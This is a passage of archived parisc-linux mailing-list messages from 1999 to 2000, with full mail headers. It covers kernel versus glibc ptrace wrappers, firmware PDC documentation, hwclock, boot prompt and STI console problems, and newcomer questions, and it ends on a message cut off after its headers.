NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: jes@lxplus015.cern.ch  Tue Dec 19 12:57:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06607
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 12:57:24 -0700
Original-Received: (qmail 25997 invoked by uid 15267); 19 Dec 2000 20:00:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25896 invoked from network); 19 Dec 2000 20:00:18 -0000
Original-Received: from smtp1.cern.ch (137.138.128.38)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 20:00:18 -0000
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id UAA03655;
	Tue, 19 Dec 2000 20:59:50 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id UAA08345;
	Tue, 19 Dec 2000 20:59:49 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Richard Hirst's message of "Tue, 19 Dec 2000 18:22:57 +0000"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8946

>>>>> "Richard" == Richard Hirst <rhirst@linuxcare.com> writes:

Richard> So, should I be fixing glibc (if removing that line is indeed
Richard> a fix), or should I be fixing our kernel source so the glibc
Richard> wrapper isn't needed?  ia64, for example seems to fix it in
Richard> the kernel, while sparc64 looks like it uses the glibc
Richard> wrapper.

I'd say fix it in the kernel if it's cheaper to do so. You can stick a
wrapper in glibc as well, but it sounds to be simpler to do in the
kernel.

Jes


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hi
Date: Wed, 12 May 1999 20:57:59 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <19990512205759.G1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619450 9122 80.91.229.3 (22 Nov 2014 01:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Wed May 12 12:58:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12142
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 12:58:04 -0600
Original-Received: (qmail 29948 invoked by uid 15267); 12 May 1999 18:57:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29939 invoked from network); 12 May 1999 18:57:42 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 18:57:42 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id UAA04908
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 20:58:00 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id UAA17060
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 20:58:00 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10heCd-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Wed, 12 May 1999 20:57:59 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:8947


I'd just like to introduce myself.  I've liberated a 715/33 Apollo from
use as a monitor stand and managed to retrieve all the pieces needed to
get it as far as a boot prom prompt.  It's got 56MB of RAM and a hard disc
of some description.  I've got it attached to the ethernet, though I have
no idea whether this is working right now.  I don't however have anything
to boot right now - apparently this disc was used for swap when this
workstations was running HP-UX in the dim distant past (you should see
the dust).

I have no previous experience of the HP architecture, but I'm a dab hand
at ARM assembler and I'm willing to learn.  Anyway, here I am with a
machine, ready to help.  

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc and ptrace
Date: Tue, 19 Dec 2000 20:14:46 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001219201446.B2554@linuxcare.com>
References: <20001219182257.O7166@linuxcare.com> <d366kg5gi2.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619450 9125 80.91.229.3 (22 Nov 2014 01:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Tue Dec 19 13:17:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07561
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 13:17:54 -0700
Original-Received: (qmail 26858 invoked by uid 15267); 19 Dec 2000 20:20:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26829 invoked from network); 19 Dec 2000 20:20:50 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 20:20:50 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 312AEB005; Tue, 19 Dec 2000 20:14:46 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <d366kg5gi2.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Tue, Dec 19, 2000 at 08:59:49PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8948

On Tue, Dec 19, 2000 at 08:59:49PM +0100, Jes Sorensen wrote:
> >>>>> "Richard" == Richard Hirst <rhirst@linuxcare.com> writes:
> 
> Richard> So, should I be fixing glibc (if removing that line is indeed
> Richard> a fix), or should I be fixing our kernel source so the glibc
> Richard> wrapper isn't needed?  ia64, for example seems to fix it in
> Richard> the kernel, while sparc64 looks like it uses the glibc
> Richard> wrapper.
> 
> I'd say fix it in the kernel if it's cheaper to do so. You can stick a
> wrapper in glibc as well, but it sounds to be simpler to do in the
> kernel.

Kernel fix does seem more sensible, I just wonder if there is
a general move towards doing it one way rather than the other.

Richard


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc and ptrace
Date: 19 Dec 2000 21:39:50 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <d3snnk402x.fsf@lxplus015.cern.ch>
References: <20001219182257.O7166@linuxcare.com> <d366kg5gi2.fsf@lxplus015.cern.ch> <20001219201446.B2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619451 9131 80.91.229.3 (22 Nov 2014 01:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: jes@lxplus015.cern.ch  Tue Dec 19 13:37:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA08342
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 13:37:31 -0700
Original-Received: (qmail 24407 invoked by uid 15267); 19 Dec 2000 20:40:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24264 invoked from network); 19 Dec 2000 20:40:18 -0000
Original-Received: from smtp1.cern.ch (137.138.128.38)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 20:40:18 -0000
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id VAA13333;
	Tue, 19 Dec 2000 21:39:51 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id VAA25298;
	Tue, 19 Dec 2000 21:39:50 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Richard Hirst's message of "Tue, 19 Dec 2000 20:14:46 +0000"
Original-Lines: 15
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8949

>>>>> "Richard" == Richard Hirst <rhirst@linuxcare.com> writes:

Richard> On Tue, Dec 19, 2000 at 08:59:49PM +0100, Jes Sorensen wrote:
>>  I'd say fix it in the kernel if it's cheaper to do so. You can
>> stick a wrapper in glibc as well, but it sounds to be simpler to do
>> in the kernel.

Richard> Kernel fix does seem more sensible, I just wonder if there is
Richard> a general move towards doing it one way rather than the
Richard> other.

I don't see a trend, a kernel fix allows us to inline the syscall
which is always nice.

Jes


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Rom address location
Date: Tue, 19 Dec 2000 12:49:45 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <200012192050.MAA15865@milano.cup.hp.com>
References: <200012141005.DAA10850@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619451 9135 80.91.229.3 (22 Nov 2014 01:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:11 +0000 (UTC)
To: debackex@esiee.fr, parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Tue Dec 19 13:47:54 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA09022
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 13:47:54 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id A706E432
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 13:50:50 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA15865;
	Tue, 19 Dec 2000 12:50:16 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 14 Dec 2000 03:05:38 PST."
             <200012141005.DAA10850@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8950

John Marvin wrote:
...
> > btw, all info I've found about PDC_SYSTEM_MAP was in pdc.pdf, just
> > telling about the existence of such a procedure in chapter 2.2, but
> > there's no more info about it (while ALL other procedures are explained
> > in this book). This is just to get explained about the
> > pdc_system_map_find_mods params.
> 
> I don't have any documentation for PDC_SYSTEM_MAP either. I just used
> the HP-UX source for reference.

PDC_SYSTEM_MAP is Hversion specific. I do know it's documented in the
various firmware ERS's. I'm not aware those have been published yet.
Strike one. :^(

[ However, I see no reason why HP wouldn't allow firmware ERS's 
  for "legacy" platforms to be published. Cost/time to review/santize
  might be the only reason. And while a few of the ERS's are not very good
  (ie incomplete), still better than nothing. ]

It seems HP published key parts of the "I/O Architecture Control Document":
	http://devresource.hp.com/devresource/Docs/DocLib_Refs.html#archrefs

as "Part 2: Processor Dependent Code Procedures" (PDC.pdf). And those are
probably on parisc-linux Documentation website as well.
But as Xavier noted above, while mentioned, PDC_SYSTEM_MAP is not actually
documented in the PDC.pdf. :^(  Strike two.

PDC_SYSTEM_MAP is documented on page 467 (of 646) in the ioacd_v096.pdf.
I'll ask the owners of ioacd if "common" Hversion PDC calls could
be published as well. This might take a while though. :^(
I hope they were not intentionally excluded for some sane reason.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hwclock
Date: Tue, 19 Dec 2000 15:25:34 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200012192325.PAA16134@milano.cup.hp.com>
References: <3A3F8376.BF84A667@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619451 9140 80.91.229.3 (22 Nov 2014 01:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Tue Dec 19 16:21:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10557
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 16:21:38 -0700
Original-Received: (qmail 29035 invoked by uid 15267); 19 Dec 2000 23:24:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29025 invoked from network); 19 Dec 2000 23:24:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 23:24:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5C285C77; Tue, 19 Dec 2000 15:24:35 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA16134;
	Tue, 19 Dec 2000 15:25:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 19 Dec 2000 10:49:10 PST."
             <3A3F8376.BF84A667@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8951

Alex deVries wrote:
> There's been some discussion on IRC about not always having to set the
> clock when in userspace.  I had a quick look at it, and it shouldn't be
> too hard.  We just need a parisc version of hwclock which calls the
> PDC_TOD functions.

CONFIG_GENRTC in fact does use PDC_TOD.
Randolph Chung had hwclock working for PXC-L/L2 machines and I tested it
on my c3k (32-bit) a few weeks back.
If it's broken, then it's a "recent" change.

grant


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with boot_admin prompt
Date: Wed, 20 Dec 2000 00:31:13 +0100
Organization: TU Darmstadt
Lines: 22
Approved: news@gmane.org
Message-ID: <3A3FEFC1.6D57E72A@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619452 9146 80.91.229.3 (22 Nov 2014 01:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rscholz@hrzpub.tu-darmstadt.de  Tue Dec 19 16:28:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11095
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 16:28:11 -0700
Original-Received: (qmail 4894 invoked by uid 15267); 19 Dec 2000 23:31:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4882 invoked from network); 19 Dec 2000 23:31:06 -0000
Original-Received: from mail.loop.de (HELO mail.vi-internet.de) (195.182.114.102)
  by mailserv2.iuinc.com with SMTP; 19 Dec 2000 23:31:06 -0000
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.190.102]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Wed, 20 Dec 2000 00:31:03 +0100
X-Mailer: Mozilla 4.75 [de] (Win98; U)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:8952

Hello everybody,

I have a hp 715/100, which works quite well with PARISC-Linux. Usually
it boots with tftp over my local network. So I switch the primary boot
path to lan at the boot_admin prompt.
Yesterday I tried to install the palinux-0.5.iso-Image on the harddisk.
I booted the machine over net and followed the instructions in
README.INSTALL. Then I partitioned the drive with fdisk. After
installing the Base-Package and the PALO-Bootloader, I rebooted the
machine.
But now the boot_admin prompt doesn't appear anymore, so I can't change
the boot path to scsi!

The Box boots over the network yet, but how can I access the boot_admin
prompt? All I get is a black screen, when I switch the machine on. I
used the Serial Console, because the STI-Console doesn't work for me
(Another question: Does anybody got a working STI-Con on such a box ?).

Can somebody help me?




From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration problems with cvs from 20001216 15:40 CET
Date: Wed, 20 Dec 2000 01:00:16 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <00122000445401.00303@P100>
References: <20001217115105.A17378@excalibur.cologne.de> <00121721201800.25726@P100> <20001218230325.A934@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619452 9154 80.91.229.3 (22 Nov 2014 01:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:12 +0000 (UTC)
To: Karsten Merker <karsten@excalibur.cologne.de>,
        parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue Dec 19 16:57:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11867
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 16:57:25 -0700
Original-Received: (qmail 6031 invoked by uid 15267); 20 Dec 2000 00:00:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5876 invoked from network); 20 Dec 2000 00:00:17 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 00:00:17 -0000
Original-Received: (qmail 5367 invoked by uid 0); 19 Dec 2000 23:59:49 -0000
Original-Received: from pd9040d57.dip.t-dialin.net (HELO P100) (217.4.13.87)
  by mail.gmx.net (mail04) with SMTP; 19 Dec 2000 23:59:49 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20001218230325.A934@excalibur.cologne.de>
Xref: news.gmane.org gmane.linux.ports.parisc:8953

On Monday 18 December 2000 23:03, Karsten Merker wrote:
> On Sun, Dec 17, 2000 at 09:20:51PM +0100, Helge Deller wrote:
> > > $CONFIG_FB_STI is set to "y" as can be seen in .config, nonetheless
> > > CONFIG_FBCON_STI is not declared.
[snip]
> I had activated "Console drivers -> Frame buffer support -> Advanced low
> level driver options", and whenever this is selected, CONFIG_FBCON_STI is
> not defined. If I unselect it, everything is ok. 
[snip]

Ok, thanks a lot for your investigation. I hadn't realized that and since 
most of the developers use the default config, this problem has not shown up 
yet. 

> Has anybody tried to run Linux with serial console on a 715/100? When I
> boot a kernel without support for STICON but with serial console enabled
> (and console=ttyS0 as commandline parameter) the system crashes just after
> displaying the "kernel command line" (system console is still in
> "graphics" mode - does this make a difference?).

This doesn't happen on my 715/64, which is afaik nearly the same machine as 
yours. And, you don't need "console=ttyS0", but I don't think, that this is 
related to your problem.

> When using STICON instead, the console output works in principle, but
> there is pixel garbage throughout the screen (it looks like it is between
> the character cells) after the second "mode switch" (when the first line
> on the screen is "Console: switching to colour STI console 160x64"). I
> have seen a similar effect on a 712/80 when using STICON. 

Yes, this is a known problem - it happens here too -, but since some of the 
developers currently work on better STI-support this will get fixed in the 
future - and I think this problem was not there, before we merged with linus.

> The keyboard
> works on the 712/80 but is dead on the 715/100 (in both cases the keyboard
> is a ps/2 model, connected directly on the 712/80 and via the small
> external adaptor box on the 715/100).

Hmm, does the other end of this external adaptor on the /100 looks like a 
RJ45-connector? If yes, I assume, that you have a PS/2 keyboard on a 
HIL-adaptor and need the HIL keyboard driver, which should already be enabled 
in defconfig. And the HIL keyboard works for me...
If you could send me your bootlog I could take a closer look at it.

Greetings,

	Helge


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick and Tammy Little <ptlittle@rose.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] general questions
Date: Tue, 19 Dec 2000 19:03:51 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <3A3FF766.95F79F50@rose.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619452 9164 80.91.229.3 (22 Nov 2014 01:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ptlittle@rose.net  Tue Dec 19 17:07:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12413
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 17:07:47 -0700
Original-Received: (qmail 18215 invoked by uid 15267); 20 Dec 2000 00:10:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18169 invoked from network); 20 Dec 2000 00:10:44 -0000
Original-Received: from mail.rose.net (root@64.39.128.19)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 00:10:44 -0000
Original-Received: from rose.net ([172.18.6.11])
	by mail.rose.net (8.9.3/8.9.3) with ESMTP id TAA03131
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Dec 2000 19:10:41 -0500
X-Mailer: Mozilla 4.72 [en] (Win98; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8954

I have pulled down the 386 cross-compile tool kit(precompiled) and linux
latest. I'm what you guys would consider a GREEN-horn at this. Following
the documentation that has been provided I've set up a drive, got it to
boot from the drive, built 2 kernels and I'm currently running the last
one, so if you needed a green-horn test, I qualify.
I'm still a little confused about this port/cross-compile deal though.
The moving over that is left to do, is it done by running stuff through
this cross-comp deal or is most everything that is being done still
C-code editing? Other words, do you need someone with time on there
hands or a C-code editor?
Is the STI-Console still meant to be a messege center only or
Interactive?
Is there anymore doc on how to use the dpkg-cross deal? The README left
me still foggy!
I bought this box with nothing on the hard drive so it was try
Parisc-Linux or buy HP-UX, that's why I am working at this so
hard.         Thanks for your time, Patrick


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] status page
Date: Wed, 20 Dec 2000 00:18:39 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20001220001839.A915@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619452 9167 80.91.229.3 (22 Nov 2014 01:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Tue Dec 19 17:15:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12967
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 17:15:42 -0700
Original-Received: (qmail 27189 invoked by uid 15267); 20 Dec 2000 00:18:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27172 invoked from network); 20 Dec 2000 00:18:40 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 00:18:40 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 148Wxr-0000k0-00
	for parisc-linux@thepuffingroup.com; Wed, 20 Dec 2000 00:18:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8955


is

<li> dynamic kernel stack and fix the handling of the initial stack frame.
        (<a href="mailto:Volunteer">Volunteer?</a>)

the work that i've just done?  if not, what does it mean?

if someone thinks it means dynamically growing the kernel stack, we can't do
this.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@eradicator.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] status page
Date: 19 Dec 2000 19:41:05 -0500
Organization: None worth mentioning
Lines: 22
Approved: news@gmane.org
Message-ID: <87u27zj55q.fsf@cepstral.com>
References: <20001220001839.A915@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619453 9168 80.91.229.3 (22 Nov 2014 01:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: dhd@eradicator.org  Tue Dec 19 17:44:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13800
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 17:44:27 -0700
Original-Received: (qmail 25484 invoked by uid 15267); 20 Dec 2000 00:47:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25476 invoked from network); 20 Dec 2000 00:47:25 -0000
Original-Received: from dsl081-135-024-nyc1.dsl-isp.net (HELO monolith) (64.81.135.24)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 00:47:25 -0000
Original-Received: from dhd by monolith with local (Exim 3.12 #1 (Debian))
	id 148XJa-00018d-00; Tue, 19 Dec 2000 19:41:06 -0500
In-Reply-To: Matthew Wilcox's message of "Wed, 20 Dec 2000 00:18:39 +0000"
Original-Lines: 21
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
